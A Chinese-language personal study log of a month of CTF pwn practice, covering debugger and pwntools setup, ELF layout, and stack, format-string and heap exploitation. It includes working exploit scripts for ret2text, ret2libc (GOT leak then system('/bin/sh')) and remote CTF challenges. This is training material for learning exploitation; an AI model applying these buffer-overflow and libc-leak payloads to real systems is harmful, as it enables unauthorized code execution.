CTF-Pwn-7月记录

07.19

CTF特训营---REVERSE阅读
P208——P

1、X86指令体系

  • 寄存器组
  • 汇编指令集:Intel , AT&T
    Intel的几种指令

2、X64指令体系

3、反汇编与反编译工具:IDA、HEX-RAY
以Jarvis OJ-Reverse-软件密码破解2为例

07.20 H4师傅书籍阅读记录

1、环境搭建

  • 查看相关版本配置


    4613D427-6DF1-41E8-8CD4-090E89854338.png

内核版本
4.15.0-72-generic
python2.7

  • gdb安装
    下载wget http://ftp.gnu.org/gnu/gdb/gdb-7.10.1.tar.gz
    解压 tar -zxf gdb-7.10.1.tar.gz
    补充:-c create/ -v 显示执行过程 /-f file / -x extract / -z gzip压缩或ungzip解压
    ./configure ---> make --->
    make的时候报错了。直接尝试apt -install gdb ,成功

    07F627FC-9EC2-4258-9FD5-A0D85A8A78E6.png

  • gdb插件Pwndbg和peda
    peda:
    git clone https://github.com/longld/peda.git ~/peda
    echo "source ~/peda/peda.py" >> ~/.gdbinit
    安装到了root目录下
    Pwndbg

两个插件交替使用:
source ~/peda/peda.py
source 目录 gdbinit.py
/root/pwn/software/pwndbg/pwndbg

  • pwntools
    使用的是python2
pip install pwn
from pwn import *

使用:
p32(),打包为32位, u32()转换为十进制
python中,ord('a') = 97 chr(0x66) = f

  • ROPgadget
    在程序中寻找 ROP chain 的一个辅助小工具

    EE4FB9A9-8BA6-4357-B3E9-8753868D791F.png

  • one_gadget


    EF1D0B3E-90A4-444F-8A11-07D832D25328.png
  • seccomp-tools


    5433A27C-865E-4FC3-9C52-FEF9D4753761.png
  • Libc 数据库查询

2、题目aaaaa

file查看程序信息
响应版本ida打开--->main--->F5
数字点住,按h,可以10进制与16进制转换
观察程序逻辑,看如何能getshell

  • 步骤,编写exp,如下
from pwn import *
r = process("./aaaaaaaaaa")
r.send("a"*200)             # 数量大于 99 即可
r.interactive()
  • 报错


    DBE47D89-F958-46E1-BE7B-FCABD2E9866B.png

权限不够,没有可执行权限
添加 chmod a+x aaaaaaaa

执行/bin/sh相当于开了一个shell窗口。


5032F6C1-9EB5-4497-977F-60164DFBCDB3.png

执行效果如下:


E4E1A6F3-7DDD-4566-BB06-EB9CDDF82EAD.png

3、IDA Pro使用

shift + F12,查看字符串

4、ELF文件格式


170F9156-BF2A-4A47-90C5-0EA6126AD926.png

具体内容参考 : https://blog.csdn.net/mergerly/article/details/94585901

  • .text --- 存放程序的汇编字节码


    EE88ADDD-BD82-4D51-A5C7-12DC8D03C65E.png
  • .data/.rodata 段**
    用来存放已初始化的全局变量,以及已初始化的局部静态变量

但是尝试的时候没找到.bss段

猜测是因为没有给可写的权限?因为.bss段是可写的。不对

用其他的程序来看

image.png

5、内存mapping介绍
配合pwngdb使用

6、gcc的使用

  • 安全编译选项:-no-pie / -pie (关闭 / 开启)
    开启PIE功能,编译器就会随机化ELF文件的内存装载基址。

7、常用的X86汇编指令

jne 0x40000   // 当 eax 不等于 0 时,跳转到 0x40000 地址
jz 0x40000    // 当 eax 等于 0 时,跳转到 0x40000 地址

8、pwngdb/peda使用
q 退出

peda:start 程序名

32位程序通过栈传递参数,64位先通过寄存器传递参数,多的再通过栈传递。

rbp指向栈底,一般都和返回地址有关

9、IDA中查看栈结构
esp是栈顶,计算的时候不看他
ebp是栈底,计算的时候是通过ebp的差值来计算大小的

10、ROP技术---返回导向编程(Return-oriented Programming)
中心思想:利用现有的或自己构造system("/bin/sh")

07.21

1、ssh连接,提升使用舒适感
Secure Shell(SSH),RSA加密

颜色配置原来一直不成功,参考知乎,修改成功
https://www.zhihu.com/question/36048211

通过ssh连接服务器

密码登陆的方法:
服务器端: /etc/init.d/sshd restart
netstat -tlnp | grep ssh可以查看是否启用了ssh服务

客户端:ssh -p22 root@IP地址

退出登陆使用的是exit

这样是通过密码登陆了。虽然可以登陆,但是每次都要输入密码比较麻烦。可以通过证书来登陆。

客户端 ssh-keygen -t rsa
将公钥复制到服务器端,并在/etc/hosts.allow文件中加入 sshd:

参考 https://www.cnblogs.com/luckycn/p/8515391.html
尝试发现还需要密码,

问题应该出在公钥证书复制出错了。

手动把文件复制过去改名字,成功!!!!
纪念一下:


image.png

2、解决昨天的问题

  • 一个小程序,里面字段不全,没有.bss是为什么?
    答:因为Mac系统和Linux系统内部实现是不一样的,在Linux中查看就有了。
    readily -a test
image.png
  • 原来编译的时候 -static报错,也是因为平台不同。
image.png
image.png

3、ret2text

image.png

/root/.gdbinit改为使用pwngdb
start day2_level0 即可开始调试

步入函数,step进入
得到buf的实际地址 0x7fffffffe340


image.png

得到距离是0x88字节,即136字节。返回地址是用rbp+8来计算的


image.png

IDA中查看 callsystem函数地址为:0x400596,在服务器中也是不变的。由于是.text段,所以叫ret2text.

from pwn import *
r = process('./day2_level0')
payload = 'a'*136
payload += p64(0x400596)
r.recv()
r.sendline(payload)
r.interactive()
image.png

如果不直接存在system("/bin/sh"),需要自己构造。

image.png

3、题目-fd
http://pwnable.kr/play.php

  • ls,显示三个文件。打开fd.c
image.png

输出flag的条件是:buf的值为LETMEWIN

反应太慢了,虽然卡片很可爱,但是体验感不佳。

题目-collision
提示是MD5碰撞


image.png

要求输入的长度是20并且check_password的结果要和hashcode相同。

4、题目:tell me something
64位文件,IDA打开,查看main函数,有溢出


image.png

查看gg函数


image.png

首先file文件,run,start

image.png

5、ret2shellcode
.bss是可执行的。

07.22

1、ret2shellcode
NX,Windows中对应的是DEP,不能直接执行栈上的数据。这里NX是关闭的。

首先得到s的地址是:0xffffd4cc

9C4F1797-A1FF-4226-8C3F-71E4DE5C399B.png
9B8272E7-7942-4B5F-874A-4FE02CE4B691.png

思想比较简单:只有覆盖到返回地址。但是由于程序本身会复制一次,所以在覆盖的时候就存放shellcode,会把shellcode复制到我们要执行的区域中。

2、ret2syscall

32位,静态链接。
.bss和stack 都不可执行


CFDA553A-4C32-4A2F-BCA6-3CC130563DBC.png

918DBB18-4D72-4D64-B11F-EF70C349FB07.png

位置0xffffd4bc,

37418894-C5F0-4EB5-88A9-DF588B4919F5.png

得到偏移 0x70

关于gadge,参考文章https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=42530&highlight=pwn

其中讲到ret指令的本质是pop eip,gadget是以ret/jmp/call等指令结尾的一小段汇编指令,它属于指令区,可以执行,可以绕过NX保护。

到这里看不懂了,开始看视频看能否理解。

07.23

荒废了一天,罪过。

07.24

1、re2syscall
前提:打开了NX使得栈不可执行。
ROPgadget的使用
使用报错

image.png

错误原因是:python2.7/ROPGadge 中没有scripts/ROPgadge。自己拷贝一个 sudo cp -r scripts /usr/local/lib/python2.7/dist-packages/ROPGadget-6.3.dist-info .版本要换成自己相应的版本,解决!

安装个python3,参考https://www.cnblogs.com/lemon-feng/p/11208435.html

E6AC473A-C32B-4324-81C5-3FC9D97274B6.png

ROPgadget --binary ./二进制文件名(需要先编译)


ABCC81ED-8554-4309-921F-9C1779F588F9.png
image.png

经询问,如果开了PIE,地址就会从0x0000000开始
/bin/sh: 0x00000000000008f8

内容思路懂了,但是没有操作。

2、ret2libc
如果在上面那种情况中,没找到system() 、execve()这种系统级函数,就需要使用ret2libc
需要寻找基址+偏移

例题:64位。

收到的某个函数的地址要进行
puts_addr = eval(r.recvline()[:-1])
[:-1]是为了去掉接收的时候最后面的换行符,eval()是python内置函数,把其内容转换为数字。区分linux中的命令eval,它是执行两次的意思 =。=

payload = 填充到返回地址 + gadget改变寄存器rdi(rdi传入字符串 bin/sh的地址) + 要调用的system函数的地址

题目文件有一点问题,也没有操作成功。

但是!上一题puts出了libc的地址,如果没有给libc的地址,需要

  • 手动构造puts或writes等输出函数
  • 将其参数设置成为某个函数的got表,从而输出表中的实际地址,泄漏内存

实际操作步骤如下:

泄漏出libc的地址,调用puts.plt(puts.gots)

07.25

1、DASCTF 10:00 —— 15:00
虚假的签到题


D4047D99-4347-4F71-A74C-D8EE74D370A3.png

32位,IDA打开。(这个和真实的可能是略有差异的,因为IDA毕竟是动态调试。)

1089F657-7B00-44F4-889B-65A68DA08015.png

main函数存在栈溢出,函数列表中有后门函数


76F018CD-6180-4B1F-9B99-71A9EFF6A3D2.png

只要覆盖返回地址,跳转到这个后门函数即可。类似于教程中的ret2text。
bin/sh这个字符被放在 .rodata段,


C29827AD-2E78-4F0E-ACDB-9D6AAF71BD5F.png

backdoor函数的地址为:0x0804857D


2C9D4CEE-6CA1-4F20-8D45-0581D90B7846.png

目的是找到这个位置到返回地址需要填充的字符的个数。

343E2B35-4886-423D-90B0-96210A920C26.png

v4到返回地址的距离是0x1c字节,

C0E159E6-DB9D-4879-9B38-699B5CD707A6.png

s的地址


D95CFF21-5802-4866-8F0E-BF200B7ADFE7.png

它到返回地址的距离是


745168C2-A889-42D2-956A-2F38A24D52DF.png

如果高地址在下面,在栈中的结构s是在v4上面的。先尝试用s进行覆盖,填充0x2c个字节.
exp如下

from pwn import *

backdoor = 0x0804857D
r = process("./qiandao")

r.recvuntil("Can you solve this sign-in problem?") //这句修改
payload = 'a'*44 + p32(backdoor)
r.sendline(payload)

r.interactive

报错原因是:应该是recvuntil 不是recvuntill...修改之后

from pwn import *

backdoor = 0x0804857D
#r = process("./qiandao")
r = remote("183.129.189.60",10013)
r.sendline('aaa')

r.recvuntil("Can you solve this sign-in problem?")
payload = 'a' * 44 + p32(backdoor)
r.sendline(payload)

r.interactive
E10B3940-03BB-4DF5-987B-721199AF3AE1.png

经提示....不是栈溢出漏洞,是格式化字符串 ...

7.26

1、ret2libc
重点是:泄漏内存。
通过自己构造puts或writes等输出函数,参数为某个函数的got表,就可以输出地址,泄漏内存。
泄漏地址:
在export中查找到main函数的地址是:0x080484F0

C8CB8656-983D-4B5C-A692-A8A64ABE9CA1.png

pus函数的实际地址为:0xf7e4bc10


82A61B30-4B51-429F-8697-283237B97B35.png

07.27

1、ret2libc
需要多做的就是泄漏内存。
GOT表中存放的是实际地址.
gdb的正确使用方法:file ---> b main ---> r

7A34FF74-7A09-49D4-82E7-C2D69120FE04.png

distance 0xffffd4ec $ebp+4
得到距离 0x20,即32个字符。

找字段(shift + F7),.got.plt,地址为0x804a014
在gdb中查看其内容 , x 0x804a014, 0xf7e4bc10 就是puts函数的实际地址。

011CB2AB-D7EC-45B9-AED4-6E7957D071F6.png

exp如下:

from pwn import *

elf = ELF('./ret2libc2') 
r = process("./ret2libc2")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")   

main_addr = 0x080484f0

payload = 'a'*32
payload += p32(elf.plt['puts'])+p32(main_addr) + p32(elf.got['puts'])

r.send(payload)
r.recvline()

libc_addr = u32(r.recv(4))-libc.symbols['puts']

success("libc_addr: " + hex(libc_addr))

r.recvuntil("Hello!")

system_addr = libc_addr + libc.symbols['system']
bin_sh_addr = libc_addr + next(libc.search("/bin/sh"))

payload2 = 'a'*32
payload2 += p32(system_addr) + p32(main_addr) + p32(bin_sh_addr)

r.send(payload2)

r.interactive()

可以使用one_gadget协助, 直接找到 bin/sh
one_gadget /lib/i386-linux-gnu/libc.so.6

把原来的

system_addr = libc_addr + libc.symbols['system']
bin_sh_addr = libc_addr + next(libc.search("/bin/sh"))

payload2 = 'a'*32
payload2 += p32(system_addr) + p32(main_addr) + p32(bin_sh_addr)

换为:

one_gadget = libc_addr + 0x3fd27 #根据实际内容来尝试

payload2 = 'a'*32
payload += p32(one_gadget)

2、格式化字符串漏洞
任意读取:
file
b main
r
输入部分:%x
预测应该输出的是$rbp+4的值,0xffffd554

应该找到key.txt的地址
%off $llxx , 泄漏出内存中的内容

任意写:
pwntools中有 fmtstr_payload()

还有ida插件lazyida,但是没安装成功。

3、题目Tell me something(Jarvis OJ)
64位程序,检查安全性,NX可执行。

IDA打开,read处存在栈溢出。


466CE605-33B8-4ECF-91B8-3E09E3C9816A.png
FB63AD17-4E81-48A9-A26C-F5B510457AC1.png

任务:
1、通过栈溢出,把返回地址覆盖为good_game的入口地址。
buf的地址为:0x7fffffffe400
但是rbp + 8的地址为0x4开头的。由于这里没有用到rbp,不能用rbp的值来计算。别人的wp里面是通过IDA查看的,但是这样不准确,有可能会发生错误。
手动查看的方法是:调试到ret,查看栈顶rsp的值。此处rsp是0x7fffffffe488

1D499838-0F38-49B7-A7CB-A9503CBE70C9.png

计算需要填充的字符长度为:0x88

IDA可以直接查看good_game的地址。地址为:0x00400620

写exp

from pwn import *

r = remote("pwn.jarvisoj.com","9876")

backdoor = 0x00400620

r.recvline()
payload = 'a'*136 + p64(backdoor)
r.sendline(payload)

r.interactive()

思路较为简单,只有一个填充/覆盖返回地址。但是我还是很棒的!得到flag!!!


6507C7C2-A6D6-4D18-A442-3A894BB0BF04.png

07.28

1、格式化字符串漏洞
参考文章 格式化字符串任意地址写操作学习小计

scanf写了之后,栈顶上面还要继续存储其他内容。所以在printf的时候,如果遇到了%x,并不是直接就开始从想要的地方读了,而是从栈顶开始读的。我们多输入几个%x,就会一直往下读,直到读到了我们想要的内容。可以通过aaaa%4$x来确定偏移,当输出为aaaa61616161时,就读到了我们输入的内容。

再参考文章 https://bbs.ichunqiu.com/thread-43624-1-1.html

如果要泄漏地址,就把要泄漏的地址写入内存,用%x读取。

任意写的时候,getshell的方法:
(程序中原本有system函数)

构造payload方法,手动构造。

防护措施:RELRO/FORTIFY

栈的知识暂时看完!实际的运用还是很深奥的~但是这里基础的知识掌握了,开始看堆的内容~

2、堆
参考文章:CTF pwn 中最通俗易懂的堆入坑指南
需要用到内存管理的知识。
ptmalloc2 堆管理器

没有malloc的时候vmmap查看内存,没有heap的内容。

C6E70C0E-D90C-4DC9-8C64-C7FB3EB7C094.png

malloc之后再查看,看到了heap的内存空间。

56281C50-269F-4001-A729-5CF3B3378A57.png

可以计算出大小是132KB,并且指针保存在eax中。

07.29

1、讲课笔记总结
堆的功能:一般有new--malloc , delete--free , show, edit。

  • malloc会分配一个堆块,并产生一个指针,这个指针会存放在全局变量中。
  • delete -- free , 存在uaf,删除后使用。这是因为不删除存放的指针。

fast bin (0x20-0x80)的漏洞:
free之后,存放在main_arean区域
(每一个大小)内存用链表的方式存储。
针对它有一种fast bin attack,本质就是修改main_arean内指针的关系,造成uaf。
修改指针,指向sc,那么下次再分配时,指针就会指向sc。

注:got表中放的是libc的实际地址。

2、强网先锋AP


F3B0259B-5C80-4853-81AB-1FFD3C952D77.png

主要功能有3个

GET---malloc


4F76AF36-ADFE-4ED3-8914-4C2678657687.png

根据v0[1] - &puts, 说明堆上放了puts函数的地址。

在Change函数中,可以自己输入v1, 并且后面会read这个大小。


A5CF56D6-B71E-46D7-853C-5D27CE436FE2.png

read函数是读一个文件描述符,并且把它读取到buf中。
关于read函数,需要包含头文件 #include
使用格式:ssize_t read(int fd, void *buf, size_t count);

这里会修改buf的内容,存在堆溢出。

http://blog.leanote.com/post/xp0int/[Pwn]-%E5%BC%BA%E7%BD%91%E5%85%88%E9%94%8B-AP-mf

目标:获得puts函数的地址,并把它修改。

exp编写如下:
先写文件和libc

from pwn import *

p = process("./task_main")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

熟悉每个函数的用法,明确要发送什么,接受什么。把他们分别定义成函数

def get(length, name):
    p.recvuntil("Choice >> \n")
    p.sendline("1")
    p.recvuntil("The length of my owner's name:\n")
    p.sendline(str(length))
    p.recvuntil("Give me my owner's name:\n")
    p.send(name)

def open(idx):
    p.recvuntil("Choice >> \n")
    p.sendline("2")
    p.recvuntil("Please tell me which tickets would you want to open?\n")
    p.sendline(str(idx))
    p.recvuntil("I'm a magic tickets.I will tell you who is my owner!\n")

def change(idx, length, name):
    p.recvuntil("Choice >> \n")
    p.sendline("3")
    p.recvuntil("Please tell me which tickets would you want to change it's owner's name?\n")
    p.sendline(str(idx))
    p.recvuntil("The length of my owner's name:")
    p.sendline(str(length))
    p.recvuntil("Give me my owner's name:\n")
    p.send(name)

发送index和length的时候要用str()先封装一下。
open函数起到一个show的作用。


747EAA56-C377-4B9B-9EB0-2F9D52797170.png

get两次,获得puts函数的地址。

3、由于明天要进行CTF机试,临时抱佛脚,看一些web、逆向的题目。

WEB
关于burp suite,安装插件SwitchyOmega,使用火狐浏览器。

蒜了吧,我可能不适合web。看堆吧还是

4、堆介绍--参考书籍CTF特训营

  • fast bin
    p通常都是1,不参与合并,用于快速分配小内存。
    按照单链表进行组织。

  • 其他bin
    双链表组织,先进先出FIFO。

  • malloc基本规则

  • free基本规则

5、总结一些知识点
反序列化漏洞

php
序列化:serialize() 返回字符串
从一道题目来学习
参考 https://www.freebuf.com/news/172507.html
当序列化字符串中,表示对象属性个数的值大于实际属性个数时,那么就会跳过wakeup方法的执行。

某些magic函数(_开头)在某些情况下会被自动调用。

';
    echo 'I am:'.$this->name = 'zhangsan'; echo '
'; function __construct(){ echo '__construct is working'; echo '
'; echo 'I am:'.$this->name; echo '
';} function __destruct(){ echo '__destruct is working'; echo '
'; echo 'I am:'.$this->name; echo '
';} function __toString(){ echo ' __toString is working'; echo '
'; echo 'I am:'.$this->name = 'zhangsan'; echo '
';} } $Zhangsan = new Student; $saveData = serialize($Zhangsan); //序列化后的字符串,可以保存在数据库或者文本文件中。 echo 'saveData is===>'.$saveData; echo '
'; ?>
CD8EB5E6-117C-4B37-91E0-8CB94BD498FD.png

发现会先调用__construct, 再调用 __destruct

参考文章https://www.cnblogs.com/litlife/p/11690918.html
数字表示长度,如果可以进行修改,可能会产生漏洞。

';
    echo $kk_seri;
    echo '
'; echo unserialize($kk_seri); $not_kk_seri = 's:4:"123""'; echo unserialize($not_kk_seri); ?>

php定义一个数组的方法:
$name = array()
再分别赋值

    $username = array();
    $username[0] = "1001";
    $username[1] = "1002";
    $username[2] = "1003";

一个数组:含有两项 ["1ss'4k","hi guys"] 进行序列化的结果
a:2:{i:0;s:6:"1ss'4k";i:1;s:7:"hi guys";}
如果用bad_str进行封装,会把单引号换为no。
a:2:{i:0;s:6:"1ssno4k";i:1;s:7:"hi guys";}
这时候还是6个字符,但明显1ssno4k变成了7个字符,所以就会报错。

7E141DCD-BDE9-405E-8476-99B5B40B5C80.png

经过特殊的方法,把前面的数字需要的字符补全,我们再自己输入” ;等符号进行闭合, 就把 } 后面的内容成功逃逸掉了。(这种本质有点类似sql注入)

通过观察上面的几个代码我们能发现以下几个线索
1.能读取config.php或获得参数的值即可获得flag。
2.update.php 28行将用户更新信息序列化,然后传入存入数据库。
3.查看class.php中的update_profile()源码,发现底层先调用了filter()方法进行危险字符过滤,然后才存入数据库。
4.profile.php 16行取出用户的作为文件名获取文件内容并展示。
5.update.php 26行可以看到的值是,因此线索4中的文件名我们并不可控。
综合以上5点,再加上本文一开始的例子,思路基本已经出来了,程序将序列化之后的字符串进行过滤,导致用户可控部分溢出,从而控制后半段的序列化字符,最终控制的值为,即可获得。

这里关键就是中的方法,我们要找到能让原始字符‘膨胀’的转义。

07.30

1、继续做堆的题 --- 强网先锋AP

GET两次
动态调试,输入的值存放在eax中。

image.png

看地址,对应的是 ,对应的是。差值都是,地址对上了。

image.png

执行的是get函数。因为是64位,所以通过寄存器传递参数。


image.png

GET函数,步入,先分配了malloc函数

输入size的值,3, 分配malloc,

image.png

输入名字my,查看寄存器的值。

image.png

之后,又回到了。

还是GET,如果输入大小的时候输入7,nbytes的值就是6

看malloc之后内存的值是通过 x/10gx 地址
地址是rax寄存器的值。10代表可以查看的内存的数量。

malloc

2、malloc
fastbin
smallbin

你可能感兴趣的:(CTF-Pwn-7月记录)